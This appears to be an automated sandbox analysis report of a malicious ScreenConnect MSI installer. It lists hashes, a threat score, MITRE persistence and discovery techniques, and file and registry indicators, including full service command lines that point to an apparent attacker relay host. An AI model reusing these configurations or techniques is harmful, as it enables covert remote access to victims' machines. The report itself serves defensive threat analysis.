7e50391e140cc7bc48f6ee0468406241ea32bbe809c9aee16a713ad4e67982b5

Analysis

geolocation tags

nanew-jerseynorth-americaunited-statesususa
user interaction
yes
max time kernel
898s
max time network
871s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
10/08/2026, 17:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ScreenConnect.ClientSetup.msi
Size 12.0MB
Sample260810-vmmflatdmf
SHA256 7e50391e140cc7bc48f6ee0468406241ea32bbe809c9aee16a713ad4e67982b5
MD5 7c01bef38afe07055623b85823699d27
SHA1 fd33c9e2665438a025d2825b39fc07de1409bb8e
SHA512 3e2d33e8664aaad5e10695eff332f9170bf49633040287d4084624be2ee958baf0d7a7079dd033e9fa4596301afef252ce43ae66ea84061b7dbe86054163c6e7
SSDEEP 196608:beq5KqDBCDkStsQECeq5KqDBCDkStteq5KqDBCDkStjeq5KqDBCDkSt0eq5KqDBa:aq5VDBCDxsQE/q5VDBCDxsq5VDBCDxiN
TLSH
T116C6232267F89425F1F74B36EC3A86B16A3ABC10DF15C41F2364784D5972E80C6A277B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

backdoor discovery persistence privilege_escalation ransomware rat revoked_codesign

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	3184	msiexec.exe
7	3184	msiexec.exe
16	4036	rundll32.exe

Sets service image path in registry 3 TTPs 2 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (a4d8f6cb35d8820f)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (a4d8f6cb35d8820f)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=relay.bibiredotcom.sbs&p=8041&s=976b6139-6fb2-4ac0-a44e-0a4899c17453&k=BgIAAACkAABSU0ExAAgAAAEAAQAJsa9c3dvGUboghathLTQvnXDulYtZXnU9JutHxQjX5UFlXSjb8XIFKHij8m3j9u5w2p7FOjz4pCOC5ucZcLW6E41qAR%2b5TuXKkYyTJ%2fqnbdVZ5V6TutmzHAqDCgHK8sK3o0A4gfKfUy3gkM%2bgeQ5%2fRK1Vz4Z9vRsPTcvW0B0NtuLnXcahMY5xSfxn7kFMskY6KlEIfzPpFYFhPGBcoyd1mvm9hX78z1B9O8p4cG13Z%2fkcffFCa3U0o6IN0sxs8uFliq7Nd%2fgYqLqh%2faW1qdyxIyznc1CMstOjdARyXiGolJLiroczp5l48UGV1CS%2fwFMhU7RVGdtg4IOCsthcX7vR&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAXLv4hVXcEkGB7hh%2fl9ZLgwAAAAACAAAAAAAQZgAAAAEAACAAAABhdv%2f65%2bK%2fV%2bHNqbIdYy8rf65nr%2fbn0xaLpJ68khpfDQAAAAAOgAAAAAIAACAAAAABxDHFWuMk%2bzZzjtKnNp83kXs8zeGrCRLlLNRzliW3dqAEAAAuvOkigDjwK9Ry%2b7F08Io%2fGah55Dl6VXR9NJVg9hH5KqPDyad3c%2fp5fcP%2fS5UalrRdLEZctZ4gz9XHhOkPiQTEmKEA40XQmQZNVwG1Zmt2onhsPvbjSsmqrjdCskyzVuRTuzQ3baTjvmT%2fIeDe3FWcO0r%2fpWvghAZG1cApcio%2bo2QwP%2fJ%2bTS0sNxhOwUPa1SbpQewESMCSdRud4ejbSqvFZegtRlswQ8DCMGJ2OZT%2bAjc3HCGsFDX0daK%2fp0%2bdgzwWEu6icsbs6VH23KVYs7guMhY%2fHdBKlee404GioqdSdHk0RDCO%2baX0L1uD7T%2brIdAJ81AzCGMIhcm31Wf33kIzZrf2Hhgi%2bCZbCheKE7V31gL9J87q88z4TRBeY2D16Zy2c%2bhaxJXCCyWMz0SUtuyaE7YP9alK11qYmf7MDAmItu%2bCgkHlU3UfGA%2frpbyuh2Xn%2bOo%2bPYr99C%2b3Qr0VEXRgsP3sJNU2ij5%2bneCIHv%2fGcDw5c9iiiMVpEY6jT5UOfte56rW%2byCJmbt0L6hA9MQFWq%2f9IyMPDiDW2i24DavEzXqn1bPfWKELpCFd7Glu1cNn5A8LCWQBJPbTFKPtDYOjo9LvAcCRL3aXNDTX8sarC%2b5SXeiwYtjwMM6moc0Zg9DLB7I%2fiR59wuBdzGPxkvrtRKbWd1CPvqAwe0zDH2lwomw5xIpL0pjadl5LP0Wox2P9rs3bzaiG8LJqeI2wC194XsXPDFUzzpX%2fxt98I2Y63Et8awRJriDjieMj9riauzDHyG9vj4RWOwE0BKV8%2fMA9CQ799ov%2fzfr3m4TKFjqcApxCd7EmDDfHk3u8wnrUXrRrwn0nKxIMnjSS%2br7DJIxukyScZszVzqcsjpzakW4g2vARSN3xKv4UQLvRPp1m4Hn6cLM6299YCvW596uHyJRgSpo0PY6h7000%2fxSl9HbKneOPKae%2bRSID5wEowibEZszLh8LWZylh0FO6%2bGHUq5hDPWgyz1Y%2bJita6SwhU6E54OefWz5m4IFXkRwmYK%2b%2bXog6Q30ADrsYubi5MNG0JSRTE1mPH%2bFL%2fD%2fyKh0bTTAJfjstHGffXNfybMl43jlrYbTghHA1Nozc1X%2bX6%2f4u2H1BA%2bTorCIbm7y5S%2bJlIAVIujhWuiGWoUDVXUnR98NP2%2fxQDGsuslUEOWzebiv%2flv676pHCBUmnH1egDgi8a8fqX%2f0LaOsjed0SuCACRnz0fMhOXs6yzO0shAb3ItjV2T0%2bIq7LVn1X04kZ5nwKD7iL8UxRg24inRfePjRXup1xYDePycjB3Ula4FnRO41GUDeLodW%2fLvbgiaE%2fyUIUkq%2fISw30QeqEEp53QksMuHcCximWWGOERHSPDoJfSIuWm9qDhMXXroQ7MG1ePkSCRbxFQNZKKHsHFWhufSC%2bgAvjQyxj1ck1bWAmEvnycNkgk1Ogbe2evfUCIFevkd%2b2z%2b52hsvD5V6ySAiCW8geAbRHUzOY%2b0m7iI5BLDE2Z8d%2fBPZnXaTCH5PJ5bp8v%2f%2fTrnRKbuCs6EgIoLZ8bYnYZh3bW4LbKSN8udI4iIUAVL1yq1T4bl8tIX2pPE1rknkRI%2bueJhUAAAACGuh4z8ufAZEC9z4xt%2bCnCWiRiT7Hln%2f3fxpeynM5%2fq%2fe5UQeHpJLNFdq9h27%2fYW4pthMZi9g03TiTbdtKBjho\""	ScreenConnect.ClientService.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (1c754076264d6096)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (1c754076264d6096)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=instance-lo3rlf-relay.screenconnect.com&p=443&s=17d709a8-ec47-41c8-be17-486e9a94f85b&k=BgIAAACkAABSU0ExAAgAAAEAAQBBtO7zqWYsrwok%2fohkNqodSF5Q%2faib2sCUSSGbDYPUh%2fQ59Zk%2f1pe3CYNdSBhN4ljSIugukPXmhgCSKKMgtiFWO5VNaBK5Wd2RQys1h%2fw72na4nSWij71yM5KYcyp7D%2fOsgeT9TZ9F%2bmFClj2dU3g6iIl3rz6LlVoXwSto%2buRo0EAuz%2fWWNyRmIzYKaa7e%2frfTvEPd0ErAk0cLEoxkCIbGXv9avTi0C2hIaeV2d%2ftHvX7evdVpPGn8GvOoj8vs1pFS%2fLD7pZlSZwbkkaTKiHKFUviosLDeQaSu%2bMa7TvtguRxF9MpOLQL%2f3lCAYTjEeJH6D2s1KGYqfu1kJOP7Ny7G&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAXLv4hVXcEkGB7hh%2fl9ZLgwAAAAACAAAAAAAQZgAAAAEAACAAAACXtXUuUiwyivSxYb91TNg707mOof4sCWmoNlrDXmqW9gAAAAAOgAAAAAIAACAAAACB3KfCBJpk7LJs0ynbeEagOZXrXBAhSpg1WURwyEfmCqAEAABdLmie%2bTHa2zSdUMJOyNXWW2yqf5cVQOSlwykVIM2w%2fRNKBtM9k6Z78DYEAamzfoU42zAYSDCQ3wpaAiQen7O65%2fxiAfi4znsEGHKBjaLcVLsHLF9zCVVIPlMEMYp3Tzp%2fNmZLRvP%2fpR0bNG%2bngGI2HIGjRCbmKT8MFxpO3aqX%2bKM3tckQgqfbeHqeXwwDr3aK3gsBnQqYu0EotI05zMw8dXXAinf1rAJkOFrgWPjJ3IpK3lVvsMgj7gbFwiVY3Tsm6KM2VCJqjQOc1zEVvuxfcKhivdSmi%2bXCoY5aOTImgqnFPM34Ttx2095Va2xJ%2fUkfbnCzEBWEPFC9lx3rccIUJQBNO%2fYrC8URPuDZ9kyFgOu0Dy4UOKY6g%2b17PRUmpLP2IRw%2bRkxynxg%2brgMsQcddQzwIigd4Qzr4lwyJ69hGuEg45PqSh9fILk1LyscXnkXeAV9a4SIJfja%2fV9QLjtNBmfswwQw1fFrfz3TMGM8HGZ9zsDvJ7D8O%2fKRUJeH4Y%2fheXGSztuTA94WLvyqurYxzOqBtjYcFXWGofHAN%2flMMkZRzwqzQczkG5zbzRjbzYzoogEkafYgAW59K9au%2fWcChryBjNrP5lTb6d7Jo1AKemkJJWWjoBDSAROAL5xEdBZmxHG0ohxy%2bCvzqhQTSBqeoke7YkkWo7kKeM7qQzOVNv5gsWufmtBP8XkT6asyZZIgtdvu3RXGKFIt6VxrSldCPlqkWoP8q576WOX33Sct44xo%2fWEwKmhZJ%2flZAuDHuERXkjbw1rCmETHsb%2fbapFaw6PdYkQ1sPUXDX1%2beUpkP6ilkDt1XiK211tDB%2fFdpLQ36ZjvXxsAbT1DeA5YvqTOLzpVMPY1Aj8xqQJ2WqLtByRB2VqbgsPPdtCnFmNYMoyrAu6bH7ta9S3wyaIPgcZFDX4HYLnsIp2JRXE%2bo1Ff%2bdahKX9U%2bj7RdWiMcediIrEvuaz6uQnGXmBPe4R%2fAH4VklBBwRzTkmSiXbORvomTKQl1AjvU0FLaL8kfwDX9DL1GOyue4LHW6tAlRo%2f5EKXWSVCdspqtT02vFKGOBE91Y5RGpz8smc5qqykEH3HXeMtyIKoTNk2Yt7l%2f3XdOiEEP2ZAOdJg6O5Fx9zoACQyqICvRRrc%2fnjtkVo%2fRHA1HYDls49HbGouMR3fadC7jnuy4OUjd1JuCfIb8SpyA5vQ6Tplf9e7oOylCZp2rrpuZePguUHNN3fnuVfQoOnaVOIi%2fmxjHmhjuDDmBrfqPGzvKpmkfw5uDek5bjxSrDAWwbnWYO0%2fgt4LoAN8U%2b5bSBaFeCxQ5231UE2E49G%2b8EWd1bnEbNXj01NBWeRTFl3GU1pkF7ik9mJELCilsgKZEm66%2b9CJGuaMFv5XnxcPcpqP8mq1W92Y8AEgnTOYrsMwA6mtIYp%2f8yOTLGzB2nPXQgS49NQnRIkY%2bMdtB%2fesUUhYyi9T%2fjsz%2byvV9aCBcEog0ztZmQBNsczwTgYkbhUl9%2fOVS8sSG2bngTv2q4ytcrA%2bynQY42YVzr%2fwIBX%2b5KV0jCuv%2f8YM8z15oUGTlg3xDmi1MfHegyb6JAHpnaedgBky0aGQEAAAAC%2feSUc8ZnM4RJTqNViTAl5Rmw7DrR9ppgdAwej80oIrgsdOCEmEpMI3jiv5%2bTkU%2fD69qmpiT69qtnGcsowTJhO\""	ScreenConnect.ClientService.exe

Signed with revoked ConnectWise certificate 1 IoCs

Binary is signed using a ConnectWise certificate revoked for key compromise.

revoked_codesign

resource	yara_rule
behavioral1/memory/4372-762-0x0000000004C00000-0x0000000004CD2000-memory.dmp	revoked_cert_connectwise

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	ScreenConnect.WindowsClient.exe

ConnectWise ScreenConnect remote access tool
ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.
backdoor rat
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 12 IoCs

pid	Process
6072	ScreenConnect.ClientService.exe
4388	ScreenConnect.WindowsClient.exe
5360	ScreenConnect.WindowsClient.exe
6008	ScreenConnect.WindowsClient.exe
4372	ScreenConnect.ClientService.exe
1076	ScreenConnect.WindowsClient.exe
6116	ScreenConnect.WindowsClient.exe
3372	ScreenConnect.WindowsClient.exe
5332	ScreenConnect.WindowsClient.exe
4296	HideFromControlPanel.exe
5996	ScreenConnect.WindowsClient.exe
3564	HideFromControlPanel.exe

Loads dropped DLL 64 IoCs

pid	Process
2356	MsiExec.exe
5044	rundll32.exe
5044	rundll32.exe
5044	rundll32.exe
5044	rundll32.exe
5044	rundll32.exe
5044	rundll32.exe
5044	rundll32.exe
5044	rundll32.exe
5044	rundll32.exe
2356	MsiExec.exe
4036	rundll32.exe
4036	rundll32.exe
4036	rundll32.exe
4036	rundll32.exe
4036	rundll32.exe
4036	rundll32.exe
4036	rundll32.exe
4036	rundll32.exe
4036	rundll32.exe
2356	MsiExec.exe
1628	rundll32.exe
1628	rundll32.exe
1628	rundll32.exe
1628	rundll32.exe
1628	rundll32.exe
1628	rundll32.exe
1628	rundll32.exe
1628	rundll32.exe
1628	rundll32.exe
224	MsiExec.exe
3972	MsiExec.exe
6072	ScreenConnect.ClientService.exe
6072	ScreenConnect.ClientService.exe
6072	ScreenConnect.ClientService.exe
6072	ScreenConnect.ClientService.exe
6072	ScreenConnect.ClientService.exe
6072	ScreenConnect.ClientService.exe
6072	ScreenConnect.ClientService.exe
6072	ScreenConnect.ClientService.exe
6072	ScreenConnect.ClientService.exe
6072	ScreenConnect.ClientService.exe
4104	MsiExec.exe
4996	rundll32.exe
4996	rundll32.exe
4996	rundll32.exe
4996	rundll32.exe
4996	rundll32.exe
4996	rundll32.exe
4996	rundll32.exe
4996	rundll32.exe
4996	rundll32.exe
4104	MsiExec.exe
4104	MsiExec.exe
4372	ScreenConnect.ClientService.exe
4372	ScreenConnect.ClientService.exe
4372	ScreenConnect.ClientService.exe
4372	ScreenConnect.ClientService.exe
4372	ScreenConnect.ClientService.exe
4372	ScreenConnect.ClientService.exe
4372	ScreenConnect.ClientService.exe
4372	ScreenConnect.ClientService.exe
4372	ScreenConnect.ClientService.exe
4372	ScreenConnect.ClientService.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 64 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 2 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800310063003700350034003000370036003200360034006400360030003900360029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c00000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800610034006400380066003600630062003300350064003800380032003000660029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800310063003700350034003000370036003200360034006400360030003900360029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 17 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1c754076264d6096)\gid5vghm.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1c754076264d6096)\3hvld1ln.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1c754076264d6096)\3hvld1ln.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log	ScreenConnect.WindowsClient.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (a4d8f6cb35d8820f)\rihbxnhg.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1c754076264d6096)\lhq214er.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1c754076264d6096)\lhq214er.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1c754076264d6096)\gid5vghm.tmp	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1c754076264d6096)\user.config	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1c754076264d6096)\lhq214er.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ScreenConnect.ClientService.exe.log	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1c754076264d6096)\gid5vghm.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (a4d8f6cb35d8820f)\rihbxnhg.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1c754076264d6096)\b25hkohu.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1c754076264d6096)\b25hkohu.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1c754076264d6096)\3hvld1ln.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rundll32.exe.log	rundll32.exe

Drops file in Program Files directory 35 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (1c754076264d6096)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\app.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1c754076264d6096)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1c754076264d6096)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1c754076264d6096)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1c754076264d6096)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1c754076264d6096)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1c754076264d6096)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1c754076264d6096)\Client.de-DE.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1c754076264d6096)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1c754076264d6096)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1c754076264d6096)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1c754076264d6096)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\Client.Override.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1c754076264d6096)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1c754076264d6096)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1c754076264d6096)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1c754076264d6096)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1c754076264d6096)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\system.config	msiexec.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\{E27A66E3-954D-B165-31B8-65FB897FFA01}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9704.tmp-\Microsoft.Deployment.WindowsInstaller.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI9704.tmp-\ScreenConnect.Windows.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI9704.tmp-\Microsoft.Deployment.Compression.Cab.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI9C18.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2152_2028250874\manifest.json	msedge.exe
File opened for modification	C:\Windows\Installer\MSI8B56.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI5DDB.tmp	msiexec.exe
File created	C:\Windows\Installer\{B04E6EF3-E2F9-9082-63D2-4E4F5FCCEA3C}\DefaultIcon	msiexec.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2152_142202464\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2152_142202464\sets.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2152_1061963444\travel-facilitated-booking-bing.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2152_2020782644\LICENSE	msedge.exe
File created	C:\Windows\Installer\e585b79.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9704.tmp-\ScreenConnect.InstallerActions.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI9A12.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8B56.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll	rundll32.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2152_2020782644\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2152_406690977\manifest.json	msedge.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI655E.tmp	msiexec.exe
File created	C:\Windows\Installer\SourceHash{B04E6EF3-E2F9-9082-63D2-4E4F5FCCEA3C}	msiexec.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2152_2020782644\keys.json	msedge.exe
File opened for modification	C:\Windows\Installer\MSI8B56.tmp-\ScreenConnect.Core.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI9704.tmp-\CustomAction.config	rundll32.exe
File created	C:\Windows\Installer\wix{B04E6EF3-E2F9-9082-63D2-4E4F5FCCEA3C}.SchedServiceConfig.rmi	MsiExec.exe
